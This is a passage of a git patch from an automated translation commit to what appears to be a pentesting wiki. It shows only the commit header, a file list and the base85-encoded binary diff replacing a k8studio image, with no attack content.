From 164c4958d3fcbf6b0a1623b417ad43b583dd00df Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:24:59 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/command-injection.md', 'src/network- --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 601 +++++++++--------- .../pentesting-web/cgi.md | 52 +- .../pentesting-web/web-api-pentesting.md | 102 ++- .../pentesting-web/wordpress.md | 438 ++++++------- src/pentesting-web/command-injection.md | 62 +- src/welcome/hacktricks-values-and-faq.md | 100 +-- 8 files changed, 706 insertions(+), 649 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 zcmcIo2|UzW`~S@hLz`RMODzapYL6#^cgv!npN)bXzxrm~K z7)y+;vZRd)QMPE4|M^XB_rC9Y@7ula=kq^vK4+fuoag&&XPsH>U3?A+7#kQFKnMf` zA;1S(9Dwv7UNo8q&CSch!?SD|FCPYn#VlWrSuG^I0w<1_SR;-n5Qs8LazrVzG=U(m zNg`8Js8p(i-1?0)Rl1TIRTWl(Shj2#W;sR_ixpLsBuJ|M3Gzbo+z<*O1tA3y zC_%*HeMk(riU2I&>Td;&Kyve-xWFL(`_Lc8AQTrj5`kXqhcGAvgcLvtfH-TuBhS63 zkGhQl!_!YS!Fw9An!A3}34c2?|JeHpjocK}rR+c^-+QvKMyV#0JsSQiVfH7O zzZ@niFG4btM_cY>8|$(+e13$Cz4w>0KO0z`gICG=nb4n%`(^s}mnOor{BRS>hJWQQEhF1#{DVpzoI1MF75~r z+d1BuVjIvKE&Eet5TvI4XF`azdT-7aPT`M8)J)Rndo+TgmfO`lA9OY0bw z777kB1px?wLLs@hxqmy$P!NI($-PpTAs~b!3QDR{wN-R1nF)5_Wa9;=9)cVBQIq7Q z`)J*xb(f6_3eXNwlOYll?beX{wdMn29+}b}4||GVPeksb?n}Sb*t5z`|BWJ!GSXLA z^4WLl=GJbJwx)Rf3>B2ki7SVt+-hQzb}VZ=B-CEg*|!_cL>jM`H5Z|9#Hd%zp|#)(NkyqNv~gYzy2P5EBi+d$Hiv#-hZi? z|Juo0CpH*6l&aM#u9wmkRT^MKf9QQmI)B6FGae6eW}gQHUHtX2^!Z>lvbcW0bV%!t zkUjoxZ^RPLA3QNEo?e*md|H-r;j!e!)oUGO3aqs37a?4(p-X-1DX06tzJxtZwKY*% zdsgVbGK`Ar0(#F}FZcg=p;3}RXf$Am(0{cB8If;b^7I{{%y6^a@|hZ7YNj_M;x zvd3>_?z#fKbKc{Ov0W(93SAGS?a@jyjQ*olo-?CP_pi9=4dh)sqn_7T>tOP$FQNMo zW6ZEj)9Tyol{0&lHpYo_-Dy0KJ3ZGIB93X4W|YRYxW?qOho3$oTrm!~VLLfSEB3n( z=fWu2Mk(pHz+Osa>5Ld6Uzx~x_gA`TOqV)t+i_RN;p2Au;D&w?Y8Bbl-==H4B(Dz` zYdq@|tJI3$m-?MOJyGj&_j=6a9_6AT1rVwt*fU5JnhX6SRwRT_QDdM4g^8*%NQZtjKY4`68!!X1HEaZr-53 zwT?c6z_~mkj;*+w(#a2eRXlZEgn~uipkDZFk`rI00C4bb4#o%EC z+UA{gB3H>CTxB=-@Y&ipC$w#Zk|lo&qVE9GrJPVJO7&3*v>Tht(GMQK9(dPQD7wBS zmgXh0%PIKKl#iQc3`PFau-(9s2OVx2)=oUOl?NWWdcHLYu>DXSg8SH<`Dw7(M4jAI zx~=UeUys7GH@(X&u&By+6Mi?^2cJh|IJewf5ciLTgn$Hz6crsSNo~tX0ekNgQ+ABR z+U$}}=5GhmX35@*BTJsS^5LN|K|`#}v+$1br;MVGJ?FWUMLlGOG9S9vp4N7i z{VGN~c#h?l)fuyCTiVdV* zy&_NVHoV^P0uCx@WAG#4j?LGe0|#WyN?BA_?A)abnkgg%uop{L-z~=f)Z~r(8y6vO zU$iy^*-=q`v5zYt*BjN@7Gfb-8v+&+$Ep?%C@n%(M$le9YnsBOb6|e#8@y39is`EUY(H`BLe4N#il!AVM+m6F zkV?Q@W7eFOp!yt=PF|j^++1?oQ}&A>oV>}yD>wgwkVH%CN)q>Hk2l|6|K@rLt~bM| zhPP+MTWzSC#f%g~Fq5Nw*#{1isIY&7T1Q5^^CMGMyudTLPane`GuueVXM2%sE{x9e z(+@O!v^Tnx>^19t9NAnEy9kM@yXt72@I#Jq_be}1WvK*a@b+JJiHN=3<7N_D-+O&6 znUjsrnXmX}^F?@T=a&JniIu_1=KP3&P~dtHm|@dr*wlg7pp~C#pwF=ArEO#eiwgK1 z^?>>Bbvux0`Hk5M2-?8gg(WPTHf;eoc3#YD4T9UtNxDdX49uE zXew;FFB>-#jse7rKLCLwjD^i{Y8%`F0SDM;@=P1R!p`Tg3DfcLP|km1VGeD^g8t?! zAb^MTDS&-IpN8#{XX5GG*;EderpCso)MBLB7)m_71O(DRr!>-MOz6`ry6_v(nRWuu zKMk-f`Vi3B24sLj!VC*2kso4HfqW?th^Nl9!!*bh5F29CLf?I?$H)WhOcbXD1d9XY zIJ3PK_>2ScKzKSH2m8ap!pwO2(r?wU2>=0M!sdYUbQM@FeUgRoh2w?u3|bHZi0C^O zaK2{)#9NA?bOWDjVQeYT$y!Pg&<~q{u{hxK4{Q#{3h06%bBd`iC*GMxU=asG26h2I znT>;0fwZ@Cu<5j2eKmsGV%`kOcvlERBz3IpODGKQ#Oz7VZ3e&i1SSv3dRetDS7|Q2pj8+~ zRDiZDIu*Ifv9nT*KGIdW=CSp+Y#c`kYwlfS|0dHdEr<7Ok0Sli-yi?1Z*pO zf9X=4!CjH4w3Ju6`uyV0%<&;3;C57qh-0eHJ>y@ShCTbv@&zx#OBgan7M_^S`eqa0 zbyD*~HdZQb+`h!v;M|Cxp%m_VWCC*skEhR`Piw3g1pKuKdN?9@o6S6?(BP;_a-CkET7mK3a__{`7_R2esid_;goEJ%%Y&mNMAs)#>a1+Y!R4w3 zZiD`W`{%Q5%8_w1Bld$?NnAp__XV}(pUb()yfaPa*!**$xJJk9>RE zxzNFzWq3k3i`eGZOqY2jl3rD>pOJj-%5bZBJ6~Rj2b<8XNi}Q3hPACuQnP-0!>q1@=TH4D1ubKZ|Kv#C5hUHLb2{-0|wVjIZDgY`3}aT@RC(E zNj+I;-cA$T!bp=+FIiJ=9pMwB)MnAqSYn%nOkXbzq5HCkFP+~LuD)`+rIK(k0v($! zeazO;30>={6*(4TEXw4peTq?)QFYsT_rFej zd@I-QovV0o2Hc?$R31Ex^qiWaEXdnIBVEn-q>-T2^#=YAu_T+k5f|x5h+owQX$A}&+ao=3V>f4RnkX)M1{E!j<*lA6Sc8ew zEuuEsc;+Wy1se_Crpk2mDzfU=ecykW)p~nhVN|mw!xL^^UYP40DUcPJv2PM=Q{CJ2Er{@|^P}YIf*2^Cp?5rh6cxc5dz57zfTh^_@Y~!%31O zz1y%C)|**fLK_q@v<}sJ${HMj*UsvqWVbK58!AU8d@OiB#T>c!<^J(bE1Y41o^hp& z#eTW*_zy{7CWHfGDqjY)pWRD4i{UpY@?PDs_f!mLYfzn|Vqybd$T|vaV%L0LzVa(c zDdyYpj;QZYDGqM#hC-cP0w>ZqWl!e=CBajJH+(mS_o3T#0lp`^h5XNUv$K)k+k-M;kVthI` za`_4up))59?U_3j?i6(_?8^RpUGKyGsIfaM9tKHVncci|B;;?iG5UrpOuj9f4fc8O aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 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 